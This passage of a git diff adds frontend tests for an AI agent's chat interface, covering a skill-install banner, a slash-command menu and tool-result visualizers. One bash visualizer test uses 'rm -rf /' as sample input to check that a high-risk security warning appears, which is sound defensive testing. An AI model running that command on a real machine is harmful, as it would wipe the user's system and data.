+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { useEventStore } from "#/stores/use-event-store";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import type {
+  CmdOutputMetadata,
+  ExecuteBashObservation,
+  ObservationEvent,
+} from "#/types/agent-server/core";
+
+// The restart mutation resolves the launch profile through these services
+// before creating the conversation; stub them so it deterministically takes
+// the legacy agent_settings path (no active agent profile).
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+  __esModule: true,
+  default: {
+    listProfiles: vi
+      .fn()
+      .mockResolvedValue({ profiles: [], active_agent_profile_id: null }),
+  },
+  WELL_KNOWN_DEFAULT_AGENT_PROFILE_NAME: "default",
+}));
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  __esModule: true,
+  default: {
+    listProfiles: vi
+      .fn()
+      .mockResolvedValue({ profiles: [], active_profile: null }),
+  },
+}));
+vi.mock("#/api/plugins-management-service", () => ({
+  __esModule: true,
+  default: { listInstalledPlugins: vi.fn().mockResolvedValue([]) },
+}));
+
+const CONVERSATION_ID = "test-conversation-id";
+
+const makeInstallEvent = (
+  id: string,
+  skill = "codereview",
+  workspace = "/tmp/demo-ws",
+): ObservationEvent<ExecuteBashObservation> => ({
+  id,
+  timestamp: new Date().toISOString(),
+  source: "environment",
+  tool_name: "execute_bash",
+  tool_call_id: `call-${id}`,
+  action_id: `action-${id}`,
+  observation: {
+    kind: "ExecuteBashObservation",
+    content: [
+      {
+        type: "text",
+        text: `✅ Successfully installed '${skill}' to ${workspace}/.agents/skills/${skill}`,
+      },
+    ],
+    command: "python3 fetch_skill.py",
+    exit_code: 0,
+    error: false,
+    timeout: false,
+    metadata: {} as CmdOutputMetadata,
+  },
+});
+
+const addInstallEvent = (id: string) =>
+  act(() => {
+    useEventStore.getState().addEvent(makeInstallEvent(id));
+  });
+
+const renderBanner = () =>
+  renderWithProviders(
+    <SkillInstallRestartBanner conversationId={CONVERSATION_ID} />,
+  );
+
+describe("SkillInstallRestartBanner", () => {
+  beforeEach(() => {
+    // Load the conversation into the (global) event store so installs are
+    // attributed to the rendered conversation.
+    useEventStore.getState().clearEventsForConversation(CONVERSATION_ID);
+  });
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("renders nothing when the conversation has no skill installs", () => {
+    renderBanner();
+
+    expect(
+      screen.queryByTestId("skill-install-restart-banner"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the banner after a successful skill install observation", async () => {
+    renderBanner();
+
+    addInstallEvent("evt-1");
+
+    expect(
+      await screen.findByTestId("skill-install-restart-banner"),
+    ).toBeInTheDocument();
+  });
+
+  it("hides the banner when dismissed", async () => {
+    renderBanner();
+    addInstallEvent("evt-1");
+    await screen.findByTestId("skill-install-restart-banner");
+
+    await userEvent.click(screen.getByTestId("skill-install-restart-dismiss"));
+
+    expect(
+      screen.queryByTestId("skill-install-restart-banner"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("resurfaces the banner when a new install happens after a dismissal", async () => {
+    renderBanner();
+    addInstallEvent("evt-1");
+    await screen.findByTestId("skill-install-restart-banner");
+    await userEvent.click(screen.getByTestId("skill-install-restart-dismiss"));
+
+    addInstallEvent("evt-2");
+
+    expect(
+      await screen.findByTestId("skill-install-restart-banner"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders nothing on a cloud backend", () => {
+    setRegisteredBackends([
+      {
+        id: "cloud-1",
+        name: "Cloud",
+        host: "https://app.all-hands.dev",
+        apiKey: "key",
+        kind: "cloud",
+      },
+    ]);
+    setActiveSelection({ backendId: "cloud-1" });
+    renderWithProviders(
+      <ActiveBackendProvider>
+        <SkillInstallRestartBanner conversationId={CONVERSATION_ID} />
+      </ActiveBackendProvider>,
+    );
+
+    addInstallEvent("evt-1");
+
+    expect(
+      screen.queryByTestId("skill-install-restart-banner"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("starts a new conversation in the install workspace and navigates to it", async () => {
+    const createConversationSpy = vi
+      .spyOn(AgentServerConversationService, "createConversation")
+      .mockResolvedValue({
+        id: "task-1",
+        app_conversation_id: "new-conv-1",
+        agent_server_url: null,
+      } as never);
+    const navigate = vi.fn();
+    renderWithProviders(
+      <SkillInstallRestartBanner conversationId={CONVERSATION_ID} />,
+      { navigation: { navigate } },
+    );
+    addInstallEvent("evt-1");
+    await screen.findByTestId("skill-install-restart-banner");
+
+    await userEvent.click(screen.getByTestId("skill-install-restart-action"));
+
+    await waitFor(() => {
+      const call = createConversationSpy.mock.lastCall;
+      // The parsed install root is reused directly as the launch workspace.
+      expect(call?.[0]?.workingDirOverride).toBe("/tmp/demo-ws");
+      expect(call?.[0]?.workspaceMode).toBe("local_repo");
+      expect(navigate).toHaveBeenCalledWith("/conversations/new-conv-1");
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/slash-command-menu.test.tsx b/__tests__/components/features/chat/slash-command-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2423dc64834bd013c50c4e9df70d8dd0d26cbe38
--- /dev/null
+++ b/__tests__/components/features/chat/slash-command-menu.test.tsx
@@ -0,0 +1,227 @@
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi, beforeAll } from "vitest";
+import { renderWithProviders } from "test-utils";
+import {
+  SlashCommandMenu,
+  getSkillDescription,
+  stripMarkdown,
+} from "#/components/features/chat/components/slash-command-menu";
+import { SlashCommandItem } from "#/hooks/chat/use-slash-command";
+
+// jsdom does not implement scrollIntoView
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn();
+});
+
+const makeItem = (
+  name: string,
+  command: string,
+  content: string = "",
+): SlashCommandItem => ({
+  skill: {
+    name,
+    type: "agentskills" as const,
+    source: null,
+    content,
+    triggers: [command],
+  },
+  command,
+});
+
+const defaultItems: SlashCommandItem[] = [
+  makeItem("code-search", "/code-search", "Search code semantically."),
+  makeItem("random-number", "/random-number", "Generate a random number."),
+  makeItem(
+    "init",
+    "/init",
+    "---\nname: init\ndescription: Initialize a project\n---\n## Usage\nRun /init to start.",
+  ),
+];
+
+describe("SlashCommandMenu", () => {
+  it("renders nothing when items is empty", () => {
+    const { container } = renderWithProviders(
+      <SlashCommandMenu items={[]} selectedIndex={0} onSelect={vi.fn()} />,
+    );
+    expect(container.innerHTML).toBe("");
+  });
+
+  it("renders all items with slash commands as primary text", () => {
+    renderWithProviders(
+      <SlashCommandMenu
+        items={defaultItems}
+        selectedIndex={0}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    expect(screen.getByText("/code-search")).toBeInTheDocument();
+    expect(screen.getByText("/random-number")).toBeInTheDocument();
+    expect(screen.getByText("/init")).toBeInTheDocument();
+  });
+
+  it("marks the selected item with aria-selected", () => {
+    renderWithProviders(
+      <SlashCommandMenu
+        items={defaultItems}
+        selectedIndex={1}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const options = screen.getAllByRole("option");
+    expect(options[0]).toHaveAttribute("aria-selected", "false");
+    expect(options[1]).toHaveAttribute("aria-selected", "true");
+    expect(options[2]).toHaveAttribute("aria-selected", "false");
+  });
+
+  it("calls onSelect on mouseDown", async () => {
+    const onSelect = vi.fn();
+    const user = userEvent.setup();
+
+    renderWithProviders(
+      <SlashCommandMenu
+        items={defaultItems}
+        selectedIndex={0}
+        onSelect={onSelect}
+      />,
+    );
+
+    const options = screen.getAllByRole("option");
+    await user.click(options[1]);
+
+    expect(onSelect).toHaveBeenCalledWith(defaultItems[1]);
+  });
+
+  it("displays skill descriptions", () => {
+    renderWithProviders(
+      <SlashCommandMenu
+        items={defaultItems}
+        selectedIndex={0}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    // First item: first-sentence extraction
+    expect(screen.getByText("Search code semantically.")).toBeInTheDocument();
+
+    // Third item: frontmatter description extraction
+    expect(screen.getByText("Initialize a project")).toBeInTheDocument();
+  });
+
+  it("has an accessible listbox role and translated aria-label", () => {
+    renderWithProviders(
+      <SlashCommandMenu
+        items={defaultItems}
+        selectedIndex={0}
+        onSelect={vi.fn()}
+      />,
+    );
+
+    const listbox = screen.getByRole("listbox");
+    expect(listbox).toBeInTheDocument();
+    // In test env, translation key is returned as-is
+    expect(listbox).toHaveAttribute("aria-label", "CHAT_INTERFACE$COMMANDS");
+  });
+});
+
+describe("getSkillDescription", () => {
+  it("extracts description from YAML frontmatter", () => {
+    const content =
+      "---\nname: test\ndescription: A test skill\n---\n## Usage\nDetails here.";
+    expect(getSkillDescription(content)).toBe("A test skill");
+  });
+
+  it("strips double quotes from frontmatter description", () => {
+    const content = '---\ndescription: "Quoted description"\n---\nBody.';
+    expect(getSkillDescription(content)).toBe("Quoted description");
+  });
+
+  it("strips single quotes from frontmatter description", () => {
+    const content = "---\ndescription: 'Single quoted'\n---\nBody.";
+    expect(getSkillDescription(content)).toBe("Single quoted");
+  });
+
+  it("falls back to first meaningful line when no frontmatter", () => {
+    const content = "# Title\n\nThis is a description.";
+    expect(getSkillDescription(content)).toBe("This is a description.");
+  });
+
+  it("falls back to first sentence from body when frontmatter has no description", () => {
+    const content =
+      "---\nname: test\ntriggers: ['/test']\n---\nA helpful tool. It does things.";
+    expect(getSkillDescription(content)).toBe("A helpful tool.");
+  });
+
+  it("skips headers and empty lines", () => {
+    const content = "\n\n# Header\n## Subheader\n\nActual content here";
+    expect(getSkillDescription(content)).toBe("Actual content here");
+  });
+
+  it("returns null for empty content", () => {
+    expect(getSkillDescription("")).toBeNull();
+  });
+
+  it("returns null for content with only headers", () => {
+    expect(getSkillDescription("# Title\n## Subtitle")).toBeNull();
+  });
+
+  it("returns the whole line when there is no sentence-ending punctuation", () => {
+    const content = "A description without punctuation";
+    expect(getSkillDescription(content)).toBe(
+      "A description without punctuation",
+    );
+  });
+
+  it("strips markdown from frontmatter description", () => {
+    const content =
+      '---\ndescription: "A **bold** and *italic* description"\n---\nBody.';
+    expect(getSkillDescription(content)).toBe(
+      "A bold and italic description",
+    );
+  });
+
+  it("strips markdown from body fallback", () => {
+    const content = "# Title\n\nUse `code` and [links](http://example.com).";
+    expect(getSkillDescription(content)).toBe("Use code and links.");
+  });
+});
+
+describe("stripMarkdown", () => {
+  it("strips bold syntax", () => {
+    expect(stripMarkdown("a **bold** word")).toBe("a bold word");
+  });
+
+  it("strips italic syntax", () => {
+    expect(stripMarkdown("an *italic* word")).toBe("an italic word");
+  });
+
+  it("strips bold-italic syntax", () => {
+    expect(stripMarkdown("***both***")).toBe("both");
+  });
+
+  it("strips inline code", () => {
+    expect(stripMarkdown("run `npm test` now")).toBe("run npm test now");
+  });
+
+  it("strips links", () => {
+    expect(stripMarkdown("see [docs](http://example.com)")).toBe("see docs");
+  });
+
+  it("strips images", () => {
+    expect(stripMarkdown("![alt text](image.png)")).toBe("alt text");
+  });
+
+  it("strips strikethrough", () => {
+    expect(stripMarkdown("~~removed~~")).toBe("removed");
+  });
+
+  it("strips underscore emphasis", () => {
+    expect(stripMarkdown("__bold__ and _italic_")).toBe("bold and italic");
+  });
+
+  it("returns plain text unchanged", () => {
+    expect(stripMarkdown("plain text")).toBe("plain text");
+  });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx b/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..61138d058efe87505d39c3625770616875235379
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/bash/bash.test.tsx
@@ -0,0 +1,98 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { SecurityRisk } from "#/types/agent-server/core";
+import { bashVisualizer } from "#/components/features/chat/tool-visualizers/bash/bash";
+import { MAX_CONTENT_LENGTH } from "#/components/conversation-events/chat/event-content-helpers/shared";
+import {
+  renderVisualizer,
+  bashAction,
+  bashObservation,
+  terminalObservation,
+} from "../test-utils";
+
+const Body = bashVisualizer.Body;
+
+describe("bashVisualizer", () => {
+  it("renders the command in the action card", () => {
+    const { container } = renderVisualizer(
+      <Body action={bashAction("echo hello")} />,
+    );
+    expect(container).toHaveTextContent("echo hello");
+  });
+
+  it("warns about high-risk actions", () => {
+    renderVisualizer(
+      <Body action={bashAction("rm -rf /", SecurityRisk.HIGH)} />,
+    );
+    expect(screen.getByText("SECURITY$HIGH_RISK")).toBeInTheDocument();
+  });
+
+  it("shows output without an exit badge on success", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={bashObservation("hello world", 0, "echo hello world")}
+      />,
+    );
+    expect(container).toHaveTextContent("hello world");
+    expect(screen.queryByText("OBSERVATION$EXIT_CODE")).not.toBeInTheDocument();
+  });
+
+  it("badges a non-zero exit code (error state)", () => {
+    renderVisualizer(<Body observation={bashObservation("boom", 1)} />);
+    expect(screen.getByText("OBSERVATION$EXIT_CODE")).toBeInTheDocument();
+    expect(screen.getByText("boom")).toBeInTheDocument();
+  });
+
+  it("shows a placeholder when there is no output", () => {
+    const { container } = renderVisualizer(
+      <Body observation={bashObservation("", 0)} />,
+    );
+    expect(container).toHaveTextContent("OBSERVATION$COMMAND_NO_OUTPUT");
+  });
+
+  it("exposes a copy button for the command and the output", () => {
+    renderVisualizer(
+      <Body
+        observation={bashObservation("hello world", 0, "echo hello world")}
+      />,
+    );
+    // One for the command code block, one for the output pane.
+    expect(screen.getAllByTestId("copy-to-clipboard")).toHaveLength(2);
+  });
+
+  it("has no copy button when there is no output to copy", () => {
+    renderVisualizer(<Body observation={bashObservation("", 0, "true")} />);
+    // Only the command's copy button remains.
+    expect(screen.getAllByTestId("copy-to-clipboard")).toHaveLength(1);
+  });
+
+  it("expands long command output inline", async () => {
+    const user = userEvent.setup();
+    const longOutput = `${"a".repeat(MAX_CONTENT_LENGTH)}tail-marker`;
+    const { container } = renderVisualizer(
+      <Body observation={bashObservation(longOutput, 0)} />,
+    );
+
+    expect(container).not.toHaveTextContent("tail-marker");
+
+    await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" }));
+
+    expect(container).toHaveTextContent("tail-marker");
+    expect(
+      screen.getByRole("button", { name: "BUTTON$COLLAPSE" }),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByRole("button", { name: "BUTTON$COLLAPSE" }));
+
+    expect(container).not.toHaveTextContent("tail-marker");
+  });
+
+  it("renders command and output for the terminal tool", () => {
+    const { container } = renderVisualizer(
+      <Body observation={terminalObservation("362 index.html", 0, "wc -l")} />,
+    );
+    expect(container).toHaveTextContent("wc -l");
+    expect(container).toHaveTextContent("362 index.html");
+  });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx b/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5ce20c529727b6a36954581d3e64907483a1ac68
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/dispatcher.test.tsx
@@ -0,0 +1,41 @@
+import { describe, it, expect } from "vitest";
+import { ActionEvent, SecurityRisk } from "#/types/agent-server/core";
+import { resolveVisualizerBody } from "#/components/features/chat/tool-visualizers/dispatcher";
+import { bashAction, grepObservation, terminalObservation } from "./test-utils";
+
+describe("resolveVisualizerBody", () => {
+  it("returns a body for a migrated action kind", () => {
+    expect(resolveVisualizerBody(bashAction("ls"))).not.toBeNull();
+  });
+
+  it("returns a body for a migrated observation kind", () => {
+    expect(
+      resolveVisualizerBody(grepObservation({ pattern: "x" })),
+    ).not.toBeNull();
+  });
+
+  it("returns a body for the terminal tool (shares the bash visualizer)", () => {
+    expect(resolveVisualizerBody(terminalObservation("ok", 0))).not.toBeNull();
+  });
+
+  it("returns null for an unmigrated tool so the markdown fallback runs", () => {
+    const thinkAction: ActionEvent = {
+      id: "t1",
+      timestamp: "2024-01-01T00:00:00Z",
+      source: "agent",
+      thought: [],
+      thinking_blocks: [],
+      action: { kind: "ThinkAction", thought: "hmm" },
+      tool_name: "think",
+      tool_call_id: "c1",
+      tool_call: {
+        id: "c1",
+        type: "function",
+        function: { name: "think", arguments: "{}" },
+      },
+      llm_response_id: "r1",
+      security_risk: SecurityRisk.LOW,
+    };
+    expect(resolveVisualizerBody(thinkAction)).toBeNull();
+  });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx b/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0f018a1fa2428178d192193819bbaaee0310a959
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/file-editor/file-editor.test.tsx
@@ -0,0 +1,309 @@
+import { beforeEach, describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import ConversationService from "#/api/conversation-service/conversation-service.api";
+import { fileEditorVisualizer } from "#/components/features/chat/tool-visualizers/file-editor/file-editor";
+import { useConversationStore } from "#/stores/conversation-store";
+import { useFilesTabStore } from "#/stores/files-tab-store";
+import {
+  renderVisualizer,
+  fileEditorAction,
+  fileEditorObservation,
+} from "../test-utils";
+
+const Body = fileEditorVisualizer.Body;
+
+describe("fileEditorVisualizer", () => {
+  beforeEach(() => {
+    ConversationService.setCurrentConversation({
+      id: "test-conversation-id",
+      workspace: { working_dir: "/workspace" },
+    } as never);
+    useConversationStore.setState({
+      hasRightPanelToggled: false,
+      selectedTab: "terminal",
+    });
+    useFilesTabStore.setState({
+      selectedPath: null,
+      selectedConversationId: null,
+      openPaths: [],
+    });
+  });
+
+  it("shows path and content for a create action", () => {
+    const { container } = renderVisualizer(
+      <Body
+        action={fileEditorAction({
+          command: "create",
+          path: "/workspace/app.ts",
+          file_text: "const x = 1;",
+        })}
+      />,
+    );
+    expect(container).toHaveTextContent("/workspace/app.ts");
+    expect(container).toHaveTextContent("const x = 1;");
+  });
+
+  it("shows the path with a line range for a view action", () => {
+    const { container } = renderVisualizer(
+      <Body
+        action={fileEditorAction({
+          command: "view",
+          path: "/workspace/app.ts",
+          view_range: [1, 10],
+        })}
+      />,
+    );
+    expect(container).toHaveTextContent("/workspace/app.ts:1-10");
+  });
+
+  it("shows the file snippet the agent saw for a view observation", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "view",
+          content: [
+            {
+              type: "text",
+              text: "Here's the result of running `cat -n`:\n     1\tconst x = 1;",
+            },
+          ],
+        })}
+      />,
+    );
+    expect(container).toHaveTextContent("const x = 1;");
+  });
+
+  it("renders a diff for an edit observation", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "str_replace",
+          old_content: "line one\nOLD\nline three",
+          new_content: "line one\nNEW\nline three",
+        })}
+      />,
+    );
+    expect(container).toHaveTextContent("- OLD");
+    expect(container).toHaveTextContent("+ NEW");
+  });
+
+  it("renders a diff when clearing a file (new_content is an empty string)", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "str_replace",
+          old_content: "keep\nremove me",
+          new_content: "",
+        })}
+      />,
+    );
+    // The empty `new_content` must not short-circuit the diff to the fallback.
+    expect(container).toHaveTextContent("- keep");
+    expect(container).toHaveTextContent("- remove me");
+  });
+
+  it("renders a diff when inserting into an empty file (old_content is an empty string)", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "insert",
+          old_content: "",
+          new_content: "first line\nsecond line",
+        })}
+      />,
+    );
+    expect(container).toHaveTextContent("+ first line");
+    expect(container).toHaveTextContent("+ second line");
+  });
+
+  it("renders the inserted text for an in-flight insert action (no old_str)", () => {
+    const { container } = renderVisualizer(
+      <Body
+        action={fileEditorAction({
+          command: "insert",
+          path: "/workspace/app.ts",
+          new_str: "inserted line",
+          insert_line: 3,
+        })}
+      />,
+    );
+    // Inserts carry `new_str` only; the card must show it, not just the path.
+    expect(container).toHaveTextContent("/workspace/app.ts");
+    expect(container).toHaveTextContent("+ inserted line");
+  });
+
+  it("renders a diff for an in-flight str_replace action", () => {
+    const { container } = renderVisualizer(
+      <Body
+        action={fileEditorAction({
+          command: "str_replace",
+          path: "/workspace/app.ts",
+          old_str: "OLD",
+          new_str: "NEW",
+        })}
+      />,
+    );
+    expect(container).toHaveTextContent("- OLD");
+    expect(container).toHaveTextContent("+ NEW");
+  });
+
+  it("renders the error message for a failed edit (error state)", () => {
+    renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "str_replace",
+          error: "No replacement performed",
+        })}
+      />,
+    );
+    expect(screen.getByText("No replacement performed")).toBeInTheDocument();
+  });
+
+  it("opens the generated file in the right drawer when its chip is clicked", async () => {
+    const user = userEvent.setup();
+    renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "create",
+          path: "/workspace/app.ts",
+          new_content: "const x = 1;",
+        })}
+      />,
+    );
+
+    await user.click(screen.getByRole("button", { name: "/workspace/app.ts" }));
+
+    expect(useFilesTabStore.getState()).toMatchObject({
+      selectedPath: "app.ts",
+      selectedConversationId: "test-conversation-id",
+    });
+    expect(useConversationStore.getState()).toMatchObject({
+      hasRightPanelToggled: true,
+      selectedTab: "files",
+    });
+  });
+
+  it("keeps markdown view observations as a CodeBlock, not a rich preview", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "view",
+          path: "/workspace/README.md",
+          content: [
+            {
+              type: "text",
+              text: "Here's the result of running `cat -n`:\n     1\t# README",
+            },
+          ],
+        })}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("markdown-file-preview"),
+    ).not.toBeInTheDocument();
+    expect(container).toHaveTextContent("# README");
+  });
+
+  it("renders a height-clipped markdown preview with a View bar for .md creates", async () => {
+    const user = userEvent.setup();
+    const markdown = [
+      "# Agent Canvas Demo",
+      "",
+      "This report was generated by the agent.",
+      "",
+      "## Highlights",
+      "",
+      "- First point",
+      "- Second point",
+      "- Third point",
+    ].join("\n");
+
+    renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "create",
+          path: "canvas.md",
+          new_content: markdown,
+        })}
+      />,
+    );
+
+    expect(screen.getByTestId("markdown-file-preview")).toBeInTheDocument();
+    expect(screen.getByTestId("markdown-file-preview-content")).toHaveClass(
+      "max-h-40",
+      "overflow-y-auto",
+      "custom-scrollbar-always",
+    );
+    expect(screen.getByText("Agent Canvas Demo")).toBeInTheDocument();
+    expect(screen.getByText("canvas.md")).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("markdown-file-preview-view"));
+
+    expect(useFilesTabStore.getState()).toMatchObject({
+      selectedPath: "canvas.md",
+      selectedConversationId: "test-conversation-id",
+    });
+    expect(useConversationStore.getState()).toMatchObject({
+      hasRightPanelToggled: true,
+      selectedTab: "files",
+    });
+  });
+
+  it("keeps non-markdown creates as a full code block", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "create",
+          path: "/workspace/app.ts",
+          new_content: "const x = 1;",
+        })}
+      />,
+    );
+
+    expect(
+      screen.queryByTestId("markdown-file-preview"),
+    ).not.toBeInTheDocument();
+    expect(container).toHaveTextContent("const x = 1;");
+  });
+
+  it("shows an in-flight markdown create preview without a View affordance", () => {
+    renderVisualizer(
+      <Body
+        action={fileEditorAction({
+          command: "create",
+          path: "/workspace/notes.md",
+          file_text: "# Draft",
+        })}
+      />,
+    );
+
+    expect(screen.getByTestId("markdown-file-preview")).toBeInTheDocument();
+    expect(screen.getByText("Draft")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("markdown-file-preview-view"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("stores a workspace-relative path when View opens an absolute .md create", async () => {
+    const user = userEvent.setup();
+
+    renderVisualizer(
+      <Body
+        observation={fileEditorObservation({
+          command: "create",
+          path: "/workspace/docs/report.md",
+          new_content: "# Report",
+        })}
+      />,
+    );
+
+    await user.click(screen.getByTestId("markdown-file-preview-view"));
+
+    expect(useFilesTabStore.getState()).toMatchObject({
+      selectedPath: "docs/report.md",
+      selectedConversationId: "test-conversation-id",
+    });
+  });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx b/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..2ce1e3ab15441bc9a58a10cbe745262cb9584e45
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/search/search.test.tsx
@@ -0,0 +1,71 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import { searchVisualizer } from "#/components/features/chat/tool-visualizers/search/search";
+import {
+  renderVisualizer,
+  grepAction,
+  grepObservation,
+  globObservation,
+} from "../test-utils";
+
+const Body = searchVisualizer.Body;
+
+describe("searchVisualizer", () => {
+  it("shows search params on the action card", () => {
+    const { container } = renderVisualizer(
+      <Body
+        action={grepAction({ pattern: "TODO", path: "/src", include: "*.ts" })}
+      />,
+    );
+    expect(screen.getByText("COMMON$PATTERN")).toBeInTheDocument();
+    expect(container).toHaveTextContent("TODO");
+    expect(container).toHaveTextContent("*.ts");
+  });
+
+  it("lists matches with a count for a grep observation", () => {
+    renderVisualizer(
+      <Body
+        observation={grepObservation({
+          pattern: "TODO",
+          matches: ["a.ts", "b.ts"],
+        })}
+      />,
+    );
+    expect(screen.getByText("COMMON$RESULTS")).toBeInTheDocument();
+    expect(screen.getByText("a.ts")).toBeInTheDocument();
+    expect(screen.getByText("b.ts")).toBeInTheDocument();
+  });
+
+  it("shows a no-results message when empty", () => {
+    renderVisualizer(
+      <Body observation={grepObservation({ pattern: "TODO" })} />,
+    );
+    expect(screen.getByText("COMMON$NO_RESULTS")).toBeInTheDocument();
+  });
+
+  it("renders the error text when the search failed (error state)", () => {
+    renderVisualizer(
+      <Body
+        observation={grepObservation({
+          pattern: "(",
+          is_error: true,
+          content: [{ type: "text", text: "invalid regex" }],
+        })}
+      />,
+    );
+    expect(screen.getByText("invalid regex")).toBeInTheDocument();
+  });
+
+  it("flags truncated glob results", () => {
+    renderVisualizer(
+      <Body
+        observation={globObservation({
+          pattern: "**/*.ts",
+          files: ["a.ts"],
+          truncated: true,
+        })}
+      />,
+    );
+    expect(screen.getByText("COMMON$TRUNCATED")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx b/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e9d1e2cee87bfd6e85875bebbb975a088303300a
--- /dev/null
+++ b/__tests__/components/features/chat/tool-visualizers/task/task.test.tsx
@@ -0,0 +1,92 @@
+import { describe, it, expect } from "vitest";
+import { screen } from "@testing-library/react";
+import { taskVisualizer } from "#/components/features/chat/tool-visualizers/task/task";
+import { renderVisualizer, taskAction, taskObservation } from "../test-utils";
+
+const Body = taskVisualizer.Body;
+
+describe("taskVisualizer", () => {
+  it("shows the subagent and query while the observation is pending", () => {
+    renderVisualizer(
+      <Body
+        action={taskAction({
+          subagent_type: "code-explorer",
+          prompt: "Summarize the README",
+        })}
+      />,
+    );
+    // Subagent comes from the action; no task id / result yet.
+    expect(screen.getByText("TASK$SUBAGENT")).toBeInTheDocument();
+    expect(screen.getByText("code-explorer")).toBeInTheDocument();
+    expect(screen.getByText("TASK$QUERY")).toBeInTheDocument();
+    expect(screen.getByText("Summarize the README")).toBeInTheDocument();
+    expect(screen.queryByText("TASK$TASK_ID")).not.toBeInTheDocument();
+    expect(screen.queryByText("TASK$RESULT")).not.toBeInTheDocument();
+  });
+
+  it("keeps showing the query alongside the result once both are present", () => {
+    renderVisualizer(
+      <Body
+        action={taskAction({ prompt: "Summarize the README" })}
+        observation={taskObservation({
+          content: [{ type: "text", text: "All done." }],
+        })}
+      />,
+    );
+    expect(screen.getByText("TASK$QUERY")).toBeInTheDocument();
+    expect(screen.getByText("Summarize the README")).toBeInTheDocument();
+    expect(screen.getByText("TASK$RESULT")).toBeInTheDocument();
+    expect(screen.getByText("All done.")).toBeInTheDocument();
+  });
+
+  it("shows the subagent and task id", () => {
+    renderVisualizer(
+      <Body
+        observation={taskObservation({
+          subagent: "code-explorer",
+          task_id: "task_00000001",
+        })}
+      />,
+    );
+    expect(screen.getByText("TASK$SUBAGENT")).toBeInTheDocument();
+    expect(screen.getByText("code-explorer")).toBeInTheDocument();
+    expect(screen.getByText("TASK$TASK_ID")).toBeInTheDocument();
+    expect(screen.getByText("task_00000001")).toBeInTheDocument();
+  });
+
+  it("renders the answer as formatted markdown", () => {
+    const { container } = renderVisualizer(
+      <Body
+        observation={taskObservation({
+          content: [
+            {
+              type: "text",
+              text: "## README Summary\n\nLicensed under Apache.",
+            },
+          ],
+        })}
+      />,
+    );
+    expect(screen.getByText("TASK$RESULT")).toBeInTheDocument();
+    // Markdown headings render as real heading elements, not raw "## ..." text.
+    const heading = container.querySelector("h2");
+    expect(heading).toHaveTextContent("README Summary");
+    expect(container).toHaveTextContent("Licensed under Apache.");
+  });
+
+  it("omits the result section when there is no text content", () => {
+    renderVisualizer(<Body observation={taskObservation({ content: [] })} />);
+    expect(screen.queryByText("TASK$RESULT")).not.toBeInTheDocument();
+  });
+
+  it("exposes a copy button for the result", () => {
+    renderVisualizer(
+      <Body
+        observation={taskObservation({
+          content: [{ type: "text", text: "the answer" }],
+        })}
+      />,
+    );
+    expect(screen.getByTestId("copy-to-clipboard")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/chat/tool-visualizers/test-utils.tsx b/__tests__/components/features/chat/tool-visualizers/test-utils.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..f6be38ff013a81840616e43f6734cbc49b173993
--- /dev/null
